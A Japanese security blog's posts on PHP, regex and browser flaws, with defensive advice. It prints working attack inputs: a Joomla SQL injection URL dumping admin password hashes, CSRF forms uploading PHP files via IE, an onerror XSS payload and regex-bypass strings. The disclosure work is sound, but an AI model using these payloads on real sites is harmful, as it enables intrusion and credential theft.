2014年3月6日木曜日
Windows版PHPのbasename関数がドライブレターを除去しない問題はPHP5.4.25/PHP5.5.9で改修された
この問題をBug #66395として報告したところ、PHP5.4.25 / PHP5.5.9にて改修されました。これらのリリースは約1ヶ月前で、そろそろ次のバージョンがリリースされますが確認が遅れておりました。
具体的には、数の左側の入力に対して、矢印の右側の結果となります。
bbb/c:autoexec.bat → autoexec.bat
bbb/cc:autoexec.bat → cc:autoexec.bat
c:bb/autoexec.bat → autoexec.bat
2番目の結果に違和感のある方がおられると思いますが、これはNTFSのストリームという機能に対応したものです。ストリームについては下記を参照下さい。
当初は、1番目の例も(ストリームの書式として)c:autoexec.bat と変換されていましたが、私から追記として指摘(PHPはNTFSストリームに対応していないし、パストラバーサル対策としてはまずいよ)したところ、いやいやPHPはNTFSストリームに対応しているよ(私の確認不足でした)という返答でしたが、最終的に、コロンの前(こちらがファイル名で、コロンの後ろがストリーム名)が一文字の場合は除去するというアドホックな仕様に落ち着いたようです
個人的には、NTFSストリームはExplorer等のWindows標準ツールでも上手く扱えないものを認めても混乱の元となるだけだと思いますが、まぁ独自のこだわりがあったのでしょう。最終的な仕様は許容できるものだと思います。
ということで、Windows版PHPをお使いの方は、最新のPHPにバージョンアップを推奨します。ただし、PHP5.3の最新版5.3.28では、この問題は直っていません。
また、アプリケーション側では、basename関数を通すだけでなく、「安全なウェブサイトの作り方」にあるように、「固定のディレクトリを指定」するようにしてください。そうすれば、basename関数のBug #66395の影響を受けなくなります。
2014年3月4日火曜日
正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう
はじめに
大垣さんのブログエントリ「PHPer向け、Ruby/Railsの落とし穴」には、Rubyの落とし穴として、完全一致検索の指定として、正規表現の ^ と $ を指定する例が、Ruby on Rails Security Guideからの引用として紹介されています。以下の正規表現は、XSS対策として、httpスキームあるいはhttpsスキームのURLのみを許可する正規表現のつもりです。しかし、Rubyの場合、以下の入力が上記正規表現にマッチしてしまいます。/^https?:\/\/[^\n]+$/i
確かに、これはすごいワナです。なぜ、このようなことが起こるのでしょうか。その理由は下記の2点にあります。javascript:exploit_code();/* http://hi.com */
- メタ文字 ^ と $ は「行」の先頭と末尾を示す
- Rubyの正規表現機能は、デフォルトで複数行モードである
^ と $ の意味
Rubyに限らずPerlやPHPでもそうですが、正規表現のメタ文字 ^ と $ は「行」の先頭・末尾を指します。文字列の先頭と末尾を指定する場合は、\A と \z を使用します。デフォルトで複数行モード
こちらはRuby特有の仕様ですが、Rubyの正規表現は、デフォルトでPerlやPHPのm修飾子を指定したような動作となります。PerlやPHPの場合は、文字列の途中に改行があった場合でも、文字列全体を1行と見なします。一方、Rubyの場合や、PerlやPHPで正規表現の m修飾子を指定した場合は、改行を行の区切りと見なし、複数行として処理します。このため、/^xxx$/ (PerlやPHPの場合は/^xxx$/m )という正規表現は、「xxxに一致する行がある場合にマッチ」となります。ちなみに、Rubyにも m修飾子がありますが、これはPerlやPHPの s修飾子にあたるもので、メタ文字ドット「.」が改行にマッチするようにする指令です。
先のPoCの場合、2行目に http://hi.com というhttpスキームのURLがあるため正規表現がマッチして、「正しい入力」とみなされたことになります。
XSS以外の脆弱性の可能性
この問題はXSS以外の脆弱性になる可能性があります。- SQLインジェクション: 数値の妥当性確認を正規表現で行っていて、"1\nOR 1=1"等の入力が来た
- メールヘッダインジェクション: メールアドレスの妥当性を正規表現で実施していて、"a@example.jp\nSubject: hoge"等の入力が来た
- HTTPヘッダインジェクション: リダイレクト先のURLを正規表現でチェックしていて、"http://example.jp/\nSet-Cookie: SESSIONID=ABC"等の入力が来た
どうすればよいか(Rubyの場合)
では、どうすればよいかというと、文字列のバリデーションなどに正規表現を用いる場合、^ と $ を使わずに、\A と \zを文字列の先頭・末尾を示すメタ文字として使用します。私の観測範囲では、Ruby界隈では元々よく知られている内容と思いますが、大垣さんの指摘のように、他の言語からRubyに移ってきた人には落とし穴になりそうです。PerlやPHPの場合も ^ と $ を避けよう
大垣さんは、先に参照したエントリで「PHPのpreg_*()もmb_regex_*()も文字列データの開始と終端はそれぞれ^と$です」と書いておられますが、正確には、PHPの場合も ^ と $ は「行」の先頭と末尾を示します。大垣さんに限らず大半の方が、正規表現でのバリデーションに ^ と $ を使って完全一致マッチングを指定していますが、これは間違いということになります。それでは、過去のPHP(やPerl等)のスクリプトが、これが原因で脆弱性だらけになるかというと、そうではありません。なぜなら、PHPやPerlの正規表現のデフォルトは単一行モードであり、文字列の途中の改行の前後で ^ や $ がマッチすることはないからです。
しかし、行の末尾に改行がある場合にも $ は(改行の直前に)マッチしてしまいます。すなわち、以下のPHPスクリプトは 1 (マッチした)を返します。
preg_match('/^[0-9]+$/', "123\n")
一方、以下は 0 (マッチしない)を返します。
preg_match('/\A[0-9]+\z/', "1234\n")
このように、^ と $で完全一致のチェックをしているつもりでも、データ末尾に改行が含まれている場合を見逃してしまうという問題があります。書籍等の対応
私はRuby関連の書籍はあまり持っていませんが、初めてのRubyPHP関連の書籍はほぼ全滅のような気がしますが、PHP逆引きレシピ 第2版 (PROGRAMMER’S RECiPE)
追記。プロになるための PHPプログラミング入門
ちなみに、拙著体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
まとめ
正規表現によるバリデーションをする場合、完全一致を示す目的でメタ文字 ^ と $ が多用されますが、これは間違いであり、\A と \z を用いるようにして下さい。^ と $ を用いた場合、Rubyの場合は脆弱性の原因となりやすく、他の言語の場合でも、データ末尾の改行をチェックできないと言う問題が生じます。謝辞
正規表現の完全一致に \A と \z を使うべしという知識は、小飼弾氏から教えていただきました。私が、自分のブログエントリ『正規表現で「制御文字以外」のチェック』にて、「Perlの場合末尾の\nがうまくチェックできない」と書いたところ、小飼氏が「regexp - ^$でなくて\A\zを使おう」にて回答下さいました。あらためてお礼申し上げます。ありがとうございました。2014年2月25日火曜日
マイナビのセミナーにて講演します
日時:2014年2月28日(金)13:30~16:30(徳丸の出番は15:50~16:30)
場所:マイナビルーム2F-T(東京都千代田区)
費用:無料(申し込みはこちら)
講演タイトル:加害者にならないためのWebサイト保護施策~最新の動向を踏まえて~
講演の中ではWebサイトが「加害者」になるシナリオを3種類ほどデモする予定です。
Webサイトが外部から攻撃を受けて、自サイトが「被害者」になるだけでなく、他社への「加害者」になってしまうシナリオは多数ありますが、最近の動向を踏まえて、某大手レンタルサーバー事業者で発生したと推測されているシンボリックリンク攻撃のデモをする予定です。但し、詳細のシナリオは公表されていないため、徳丸の創作によるものです。
シナリオをこっそりお教えしましょうw
- 某レンタルサーバーにタナカとスズキがサイトを構築している
- スズキは人気サイトであり攻撃者が狙っているが、こちらは外部から侵入できる脆弱性はない
- スズキの方はWordPressを利用している
- タナカの方では古いphpMyAdminを使っていて、外部から任意のスクリプトが実行できる
- 攻撃者はタナカ側に攻撃をしかけ、スズキサイト側にシンボリックリンクを貼る
- 攻撃者は上記シンボリックリンクを閲覧して、スズキのWordPress設定ファイルからMySQLのIDとパスワードを得る
- 攻撃者はタナカのphpMyAdminに対して、スズキ側のMySQLのIDとパスワードを使ってログインする
- 攻撃者はphpMyAdminを操作して、スズキ側コンテンツを書き換える
- これ以降、スズキ側コンテンツを閲覧した利用者はマルウェアに感染する
それでは、よろしくお願いいたします。
2014年2月8日土曜日
【速報】Joomla3.2.2以前にSQLインジェクション脆弱性
概要
Joomla3.2.1のSQLインジェクション脆弱性がexploit-dbに報告されました。こちらで追試した結果、Joomlaの最新版である3.2.2にも同じ問題があります。再現条件は下記の通りです。- Joomla 3.2.1 および 3.2.2 (他のバージョンでは検査していません)
- サンプルデータとして「テスト英語(GB)」を導入していること
- データベース MySQL(他のデータベースでは検査していません)
これは 500 Internal Errorのエラー画面ですが、画面最下部に以下のエラーメッセージが表示されています。
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `xxxxx_tags` AS t INNER JOIN `xxxxx_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \)SQLの詳細エラーメッセージが表示されており、IN句の中身が、外部から指定した「\」がそのまま入っています。この段階で、SQLインジェクション脆弱性があることが分かります。
http://example.jp/joomla/index.php/weblinks-categories?id=0)union+select+concat(username,password)+from+xxxxx_users+%23
上図の赤い囲みに「admin$P$DVZwwcGTspL434pDfmJOOUPZU8Dtf7/」と表示されていますが、これは管理者のIDとパスワードハッシュ値を連結したものです。
影響を受けるサイト
再現条件はまだはっきりしていません。前述のように、以下の両方を満たす場合に脆弱性が発現することを確認しています。- Joomla 3.2.1 および 3.2.2
- サンプルデータとして「テスト英語(GB)」を導入していること
また、Joomla2.5.18では上記は再現していません。
対応
本稿執筆時点でのJoomla最新版3.2.2に脆弱性があるため、脆弱性が該当する場合は回避策を検討してください。回避策としては、以下が考えられます。- Joomlaの対応版が導入できるまでサイトを停止する
- Web Application Firewall(WAF)を導入する
- index.php/weblinks-categories へのアクセスを禁止する(可能な場合)
- 詳細エラーメッセージの表示を抑止する
- Joomla2.5.18にダウングレードする
ただし、他の方法で攻撃は可能です。たとえば、MySQLのsleep()関数を用いたブラインドSQLの可能性があります。
今後のこの脆弱性に関する情報が公表されると予想されるため、Joomla利用者はセキュリティ情報に注意することをお勧めします。
追記(2014/3/9)
免責
このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものとします。PR
HASHコンサルティング株式会社では、Webサイトを安全に守るためのセキュリティサービスを提供しています。WAF(Web Application Firewall)による効果的な脆弱性対策(SQLインジェクションを含む)や、リスクの評価、対策方法の策定、セキュリティの教育などを提供します。詳しくはお気軽にお問い合わせ下さい。2014年2月6日木曜日
JALの不正ログイン事件について徳丸さんに聞いてみた
高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、JALの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。
徳丸: 徳丸です。よろしくお願いします。
高橋: まず、事件の概要を説明します。日本航空のホームページに不正アクセスがあり、JALマイレージバンク(JMB)のマイルが、Amazonのギフト券に勝手に交換される被害がありました。日本航空の発表では、1月31日から2月2日にかけて、身に覚えがないマイル交換がされているという問い合わせが複数ありました。調査の結果、40人の利用者のマイルがアマゾンのギフト券、数百万円相当と交換されていたというものです。
徳丸: ここで問題となるのは、パスワードは数字6桁ということなんですよね。
高橋: やはりそこですか。パスワードが数字6桁だとどのような攻撃ができるのでしょうか?
ブルートフォース攻撃
徳丸: まず、ブルートフォース攻撃の可能性がありますね。下図のように、ユーザIDを適当に固定して、パスワードの全てのパータンを試す攻撃のことです。
高橋: ちょっと待ってください。前回のお話では、オンラインのブルートフォース攻撃は現実的ではないとのことでしたが。
徳丸: それは、パスワードの桁数が十分な場合のことです。数字6桁のパスワードだと、オンライン・ブルートフォース攻撃が現実の脅威となります。
高橋: なぜでしょうか?
徳丸: 数字6桁のパスワード場合、パスワードのパターン数は100万通りですよね。
高橋: 結構大きな数字にも思えますが。
徳丸: そうでもないのです。1時間は3600秒ですから、1秒あたり10個のパスワードを試したとすると、1時間では36,000通り試せます。100万個のパスワードの試行には28時間弱で終わる計算です。
高橋: 一日ちょっとですか。確かに現実性がありますね。そうなると、今回の事件はブルートフォース攻撃なのでしょうか。
徳丸: いえ、それは違います。
高橋: あれれ、違いますか。
徳丸: はい。JALのログイン機能にはアカウントロックの機能があります。パスワードの間違いが一定回数続くと、アカウントがロックされ、パスワードを試すことができなくなります。
高橋: 一定回数とは何回くらいでしょうか。
徳丸: 数字6桁のパスワードだと5回くらいではないですかね。
高橋: ブルートフォース攻撃が駄目となると、どのような方法がありますか?
辞書攻撃
徳丸: 次に検討すべきは辞書攻撃ですね。パスワードを総当たりに試すのではなく、利用者がつけそうなパスワードの一覧(辞書)を用いて攻撃します(下図)。
高橋: でも、アカウントロックに引っかかりませんか?
徳丸: そうなんです。アカウントロックの閾値が5回のパスワード間違いだとすると、辞書攻撃に使う辞書には4種類のパスワードしか載せられません。
高橋: では、辞書攻撃ではない?
徳丸: いや、そうでもないのですが、いったん次の攻撃方法を説明しましょう。
高橋: はい、お願いします。
リバースブルートフォース攻撃
徳丸: 次に考えられるのは、リバースブルートフォースアタック(攻撃)です。
高橋: なんだかプロレスの必殺ワザみたいな名前ですね。
徳丸: これは、パスワードを適当に固定して、ユーザIDの方を変えながらログインできるか試す方法です(下図)。
高橋: 数字6桁というと、例の「123456」とかですか?
徳丸: よく知っていますね。123456は各種のパスワード統計でもっとも人気のあるパスワードですが、JALの場合は違います。
高橋: なぜでしょうか?
徳丸: 禁止されているからですよ。こちらをご覧下さい。
高橋: あーー、そうすると、123123くらいですか。
徳丸: いい線ですね。そうしておいて、ユーザID(お得意様番号)の方を変えていきます。
高橋: お得意様番号は分かるのですか?
徳丸: 具体的な番号の一覧が公開されている訳ではありませんが、ある程度の規則性はあるようですね。あとは、総当たり的に試すのでしょう。
高橋: 成功確率が低いのではありませんか?
徳丸: そうでもないです。こちらの記事によると、JMBの会員数は2700万人ということですから、100万で割ると、1つのパスワードあたり平均では27人の利用者がいることになります。
高橋: 根気よく試すと、平均27人の認証が通ってしまうのですか。
徳丸: 123123のように設定率の高いパスワードだと、もっといくでしょうね。
高橋: それは困りますね。JALは対抗策を講じていなかったのでしょうか?
徳丸: 特に対策していなかった可能性が高いですね。
高橋: なぜ分かりますか?
徳丸: こちらの記事(アーカイブ)によると、被害にあった利用者の被害者はすべて同一のIPアドレスからアクセスされたようです。ということは、IPアドレス毎に連続したログイン試行の監視やロックをしていなかったと思われます。
高橋: そうか! リバースブルートフォース攻撃の対策は、IPアドレス毎にログインを見張っていて大量の試行があればロックすればよいのですね。
徳丸: それが、そう単純でもないのです。
高橋: なぜでしょうか。
徳丸: 対策が完全ではないと言うことと、副作用があるということの2つの理由からです。
高橋: 完全ではないのですか?
徳丸: はい。攻撃者側がIPアドレスを変えながら攻撃する場合が多いです。GitHubに対する不正ログインの事例が典型的ですね(参考:GitHubに大規模な不正ログイン試行)。そうなると、IPアドレス単位でのロックは掛けにくいです。
高橋: 安全を見て、少ない回数でロックしてしまえば…
徳丸: そうしたいところですが、複数の利用者が同じIPアドレスを共有している可能性を考慮する必要があります。企業からのアクセスはプロキシによりIPアドレスを共有している場合が多いですし、最近はスマートフォンからの3GアクセスはNATですので、IPアドレス単位でロックすると、「道連れ」が大量に出る可能性があります。
高橋: そうなると、閾値をゆるめに設定しておかないと支障がでてきますね。
徳丸: はい。そうすると、閾値に達するまでに、被害に遭う可能性が高くて調整が難しいことと、GitHubのようにIPアドレスをこま目に変えられると対策としては不十分です。
高橋: 完全でないのと副作用というのは、これを指しているのですね。
徳丸: そうです。
高橋: でも、JALが何も対策してなかったとまでは言い切れないのでは?
徳丸: そうですね。しかし、今回の場合、攻撃元のIPアドレスが1つだったにも関わらず、利用者からの指摘で発覚しているので、監視も特にしていなかったと思われます。
高橋: JAL以外のサイトは、リバースブルートフォース攻撃は心配ないのですか?
徳丸: JAL以外のサイトでも一定の脅威ではありますが、JAL程ではありません。
高橋: なぜでしょうか?
徳丸: 利用者が安全なパスワードをつけられるからです。リバースブルートフォース攻撃はパスワードを固定するので、攻撃に使うパスワードは「ありがちなパスワード」使うと効率的です。
高橋: 例の「123456」などですね。
徳丸: そうです。123456やpasswordなど安易なパスワードを設定している利用者には脅威ですが、それは自己責任というか、自業自得の感があります。一方、JALの場合は、利用者が安全なパスワードをつけたくてもつけられないので、利用者の責任とは言えません。
高橋: その違いは大きいですね。
徳丸: そうです。
パスワードリスト攻撃
高橋: パスワードリスト攻撃についてはどうでしょうか? 最近被害が多いようですが。
徳丸: JALの場合は、パスワードリスト攻撃ではないと考えられますね。
高橋: なぜでしょうか?
徳丸: パスワードリスト攻撃は、別のサイトから漏えいしたIDとパスワードの一覧を用意して、攻撃対象のサイトで試すという方法です。ですので、IDとパスワードが一定確率で共通のものがないと、攻撃が成立しません。
高橋: あっ、そっか。
徳丸: JALの場合、IDは利用者がつけるものではなく、JALが割り当てた独自のものです。この時点でパスワードリスト攻撃の対象にはなりません。
高橋: 言い換えれば、パスワードリスト攻撃の対象は、利用者が好きなIDをつけられるか、メールアドレスをログインIDとして使用する場合、ということですね。
徳丸: そうです。加えて、JALの場合、パスワードの仕様が数字6桁ですが、多くのサイトで数字だけのパスワードはチェックで弾いています。これらの理由から、パスワードリスト攻撃ではないと考えられます。
再び辞書攻撃について
高橋: ところで、辞書攻撃については保留状態でしたが、どうなんでしょうか?
徳丸: そうでした。辞書攻撃の可能性もあると私は見ています。
高橋: 4~5回しか試せないのに攻撃が成立しますか?
徳丸: 辞書攻撃とリバースブルートフォース攻撃のハイブリッド攻撃という可能性があります。これは、先に紹介したGitHubに対する攻撃パターンです(注: 2018年以降この攻撃方式はパスワードスプレイ攻撃と呼ばれるようになりました)。
高橋: なるほど、リバースブルートフォースのようにパスワードを1つに固定しなければならないわけではないのですね。
徳丸: そうです。JALの場合は、IPアドレスが固定でしたからIPアドレスをキーに監視やロックができた可能性がありますが、IPアドレスまで変えられると、従来から取られてきた対策では防御できないのです。
高橋: 困りましたね。JALはどうすればよいでしょう?
対策
徳丸: 対策を検討する上で、パスワードに対する攻撃でどの程度の被害があり得るかを検討しましょう。
高橋: お願いします。
徳丸: アカウントロックに引っかからない前提で、1ユーザあたりパスワード4個まで試せると仮定すると、パスワードが的中してしまう確率は100万分の4です。JMBの利用者が2700万人いるので、かけ算すると、108人が被害にあう計算です。
高橋: あー、利用者数が多いことで、被害者も増えるのですか。
徳丸: そうです。しかも、パスワードをランダムに試すのではなく、人気のありそうなものにすれば、この数倍になるでしょう。
高橋: そういえば、ANAのパスワードは数字4桁だから、単純計算で1万人が被害にあう計算ですね。
徳丸: こちらの記事によると「ANAマイレージクラブ」は、2013年6月末時点で2,500万人の会員数を有している」ということなので、計算上はちょうど1万人ですね。
高橋: それは大変です。はやく対策を教えてください。
徳丸: 二要素認証を使う方法があります。ポイントの交換や個人情報の閲覧の際には、パスワード以外の情報を求める、というものです。
高橋: 具体的には何が使えますか?
徳丸: 登録したメールアドレス宛にトークン(6桁程度の乱数)を送るという方法がありますが、登録済みメールアドレスが使えるとは限らないのですよね。
高橋: 私も今回の件で、数年ぶりにJALのサイトにログインしました。そういう方だと、メールアドレスが変わっているという人も多そうです。
徳丸: ということなので、生年月日を使う方法が考えられます。
高橋: わざと嘘の生年月日を登録する人もいるそうですが…
徳丸: そうなのですが、航空会社の場合は、航空券の発券のために生年月日が必要だし、正しい情報を入れている人が多いのではないでしょうか?
高橋: でも、生年月日は秘密情報とまでは言えないですよね。
徳丸: はい。しかし、今回のような「不特定多数を狙った」攻撃には効果があります。特定ユーザを狙った攻撃など一般的な対策については、こちらの記事をご覧下さい。
高橋: わかりましたが、いちいち生年月日を入力するのも面倒ですね。
徳丸: そうでもないんじゃないですか? 自分の情報をしょっちゅう確認・変更する人はいないでしょうし、ポイントの交換もそんなにはないでしょう。
高橋: 頻繁に飛行機に乗る人は面倒だと思いますが…
徳丸: そうですね。だから、パスワードの制限を緩めて、安全なパスワードをつけられるようにすることが、総合的には安全性と利便性を両立できるのだと思います。
高橋: そもそも、なぜ数字のパスワードにこだわるのでしょうか?
徳丸: テレフォンサービスでも同じパスワードを使っているからでしょう。
高橋: あぁ、電話だと英字や記号は使えませんね。
徳丸: 電話の場合は、リバースブルートフォース攻撃などはできないので数字のままでもそれほど危険ではないでしょうしね。だから、Web用とテレフォンサービスとでは、パスワードを別にするしかないでしょう。
高橋: 利用者が2種類のパスワードを管理できないという意見もありそうですが。
徳丸: その辺が難しいところですね。ですが、数字6桁のパスワードでは一定の被害が出てしまうことは避けがたいので、Webが不要な利用者は数字のパスワードだけだがWebは使えなくするなど、きめ細かい施策を打つしかないでしょう。
高橋: そう言えば、対策に高額な費用が掛かるのであれば、対策は保留して金銭的な補償で対応するという経営判断もある、という記事を読みましたが。
徳丸: リスクの受容、あるいは俗に「サイバーノーガード戦法」と呼ばれるものですね。
高橋: 「ノーガード」はかわいそうな気もしますが…
徳丸: 金銭で片が付く問題であれば、一般論としては成立する話ですが、コンシューマー向けサービスでは、金銭補償は最後の手段として考えるべきでしょう。
高橋: なぜでしょうか?
徳丸: 不正ログインで被害にあうと、金銭的な損失もさることながら、精神的なショックが大きいですし、個人情報がいったん漏えいすると、回収は不可能です。これらは、金銭で補償できるという種類のものではありません。
高橋: 確かにそうですね。
徳丸: はい。なので、サイト運営者には、せめて常識的なラインまでは対策を行う義務があると私は考えます。
高橋: 数字6桁のパスワードは、常識的なラインを下回っている、と。
徳丸: その通りです。
高橋: ありがとうございました。これで、JALの不正ログインに関する徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう~
※注: このエントリはインタビュー仕立ての記事であり、文責はすべて徳丸にあります。高橋は架空の人物です。
追記(2014/2/11)
奥一穂さんから、「(実質的な)パスワードリスト攻撃の可能性もあるのでは?」という指摘をいただきました。レンターカーの会社などでJMBのマイレージと連動するためにJMB番号を収集している企業があり、同時に住所や生年月日を申し込みのために集めているサイトがあるので、これらの情報が仮に漏れた場合、JMB番号と、生年月日や住所、電話番号からのパスワード推測を組み合わせた攻撃の可能性です。確かに、そのよう攻撃はあり得ると考えます。上で指摘しているのは狭義のパスワードリスト攻撃の可能性を否定するものであり、奥さんの指摘のような攻撃の可能性を否定するものではありません。ご指摘ありがとうごさいました。
2014年1月30日木曜日
IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる
まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。
<form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
<input type="submit" value="submit" />
これによるリクエスト(要点のみ)は下記となり、ファイル名とファイルの中身が指定できていることが分かります(WindowsXP上のIE8で確認)。この方法はIE8まででのみ有効で、IE9以降ではname属性中のダブルクォートがパーセントエンコード(%22)されるようなりました。-----------------------------7de2af1b3f023e Content-Disposition: form-data; name="gazou"; filename="a.php" <? phpinfo();?> -----------------------------7de2af1b3f023e--
これに対して、望月さんから教えていただいた方法は、textarea要素を使うものです。望月さんのご許可をいただきましたので下記に公開します。
<textarea name='gazou"; filename="phpinfo.php'>
<?php
phpinfo();
?>
</textarea>
これによるリクエストは下記の通りです。Windows7上のIE11で確認したところ、ファイル名とファイルの中身が指定できていることが分かります。望月さんから教えていただいたtextarea要素が使えるのであれば、select要素でもできるのではないかと考え、試してみました。環境は同じくWindows7上のIE11です。-----------------------------7de3811808b6 Content-Disposition: form-data; name="gazou"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------7de3811808b6--
<select name='gazou"; filename="phpinfo.php'>
<option value="<?php phpinfo(); ?>" selected>1</option>
</select>
すると、下記のリクエストとなり、select要素でもできることが分かりました。さて、上記を公開して良いかについては、少し悩みました。input要素の場合のように、「IE9では改修されているが、IE8以前では放置されている、すなわち改修される見込みが薄い」というものではないと思ったからです。-----------------------------7de6110808b6 Content-Disposition: form-data; name="gazou"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------7de6110808b6--
しかし、望月さんからの情報によると、2008年に既に公知となっているとのことです。また、望月さんからマイクロソフトには連絡済みとのことでした。
- GNUCITIZEN » Cross-site File Upload Attacks
- Web Security Research» Alex's Corner: CSRF-ing File Upload Fields
既に公開されている情報を隠していても仕方ないので、こうして公開することにしました。上記のリンク先には、Content-Typeを指定する方法も記載されています。これは昨日のエントリで私が追記した方法と同じですね。
ということで、最新のIEであってもファイルアップロードフォームにて、外部からファイル名とファイルの中身を指定できることを紹介しました。これによる影響としては下記が考えられます。
- CSRFにて別の利用者のブラウザ上からファイルをアップロードする
- ファイル名のエスケープ漏れがある場合にXSSができる
どちらも、CSRFやXSSの基本的な対策をしていれば防げるものですので大きな影響はありませんが、「攻撃経路がないから大丈夫」と思って手抜きをしていると危険な状態になる可能性がありますね。それに、Unix/Linuxでは「<」や「>」等もファイル名として使える文字ですので、ファイル名のHTMLエスケープはセキュリティ抜きとしても必要な処理です。
2014年1月29日水曜日
IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。大半の方は、「ああ、そうだよね」という感じでお読みいただいたように思いますが、昨日サイバーディフェンス研究所の福森大喜さんから、「それIE8以前ならできるよ」と教えていただきました。福森さんの許可を得て、以下にPoCを公開します。
<form enctype="multipart/form-data" action="pro_add_check.php"
method="POST">
<input name="name" value="nnnn" type="hidden">
<input name="price" value="100" type="hidden">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
?>'>
<input type="submit" value="submit" />
</form>
これで確かに、ファイル名が a.php に、ファイルの中身が下記の内容になります。それでは、どうしてこれでファイル名とファイルの中身が指定できるのでしょうか。それを説明するために、まずは正常系のリクエストを下記に示します。<? phpinfo(); ?>
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="name"
nnnn
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="price"
100
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain
<? phpinfo();
?>
-----------------------------7de34b38200e8--
ここで、type=textのnameやpriceと、type=fileのgazouを比較すると、fileの方は「; filename="a.php"」とContent-Typeが追加されていることが分かります。そして、もしもname=として下記が指定できれば、filename=を注入できることになります。gazou"; filename="a.phpそして、IE8 以前では、これができてしまうのですね。
それでは、IE9以降および他のブラウザだとname=の中のダブルクォートはどうなるかですが、
- IE9以降およびGoogle Chrome: %22 にエスケープされる(パーセントエンコード)
- Firefox: \" にエスケープされる
このIE8以前の挙動は、マイクロソフト社はIE9以降では修正している、つまり認識しているにも関わらずIE8以前は放置していることと、元々脆弱なアプリケーションのみが影響を受けるということ理由から、Cookie Monster Bugなどと同じく「好ましくない仕様」ということになると考えます。
ということで、アプリケーション側で淡々とCSRF対策しましょう。この問題があるから新たに特別な対策をしなければならない、ということはありません。
ところで、前回は触れなかったのですが、紹介したスクリプトの下記の箇所は、ファイル名をエスケープなしでHTML出力しているので、潜在的なクロスサイト・スクリプティング脆弱性があります。
print'<img src="./gazou/'.$pro_gazou['name'].'" />';「潜在的な」と書いたのは、通常HTMLフォームではファイル名を外部から指定する方法がないこと、XHR Level2を使ったリクエスト送信では(対象サーバーが明示的に許可していない限り)クロスオリジンでレスポンスを受け取れないし、仮にレスポンスを受け取れたとしてもブラウザに表示されるわけではないのでXSSにはならないことによります。
しかし、福森さんに教えていただいた方法だと、HTMLフォームからファイル名が送信できるので、上記の部分にてXSSが発現します。攻撃の例を下記に示します。
IE8でこれを実行すると、生成されるimg要素は下記となり、onerror属性が注入されています。<input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>
a.gifという画像はない(実際に生成されるファイル名は「a.gif" onerror="alert(1)」)ので、onerrorイベントによりalertが実行されます(下図)。<img src="./gazou/a.gif" onerror="alert(1)">
ファイル名を用いたXSSでは、PHPが内部でbasename()関数で「/」(Windows版では「\」も)以前を切り取ってしまうので、攻撃文字列には「/」や「\」が使えません。このため上記の例ではonerrorイベントを用いました。
このXSSの方にしても、表示(HTML出力)の際に、変数等を淡々とHTMLエスケープするという原則を守れば脆弱性は混入しないので、IE8以前に対して「特別な配慮」をしなければいけないわけではありません。
むしろ、「これは外部からコントロールできないはずだからエスケープしなくても大丈夫」という「特別な配慮」(手抜き)をせず、原則に従うことが重要です。この点、私の見た多くのPHP入門書では、スクリプトの先頭でまとめて入力値をhtmlspecialchars関数によりエスケープしているものが多く、XSS対策の説明という点で課題があります。
※追記
当初Content-Typeは追記できないと書きましたが、以下のinput要素を用いることで、Contet-Typeも指定できました。メールヘッダインジェクションと同じような要領ですね。
<input name='gazou"; filename="a.php"
Content-Type: text/plain
<?php phpinfo();//' type="hidden" value=''>
これに対するHTTPリクエストは下記の通りです(該当箇所のみ)。
-----------------------------7de2fd25200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain
<?php phpinfo();//"
-----------------------------7de2fd25200e8--
ということで、Content-Typeも含めて改変できることが分かりました。







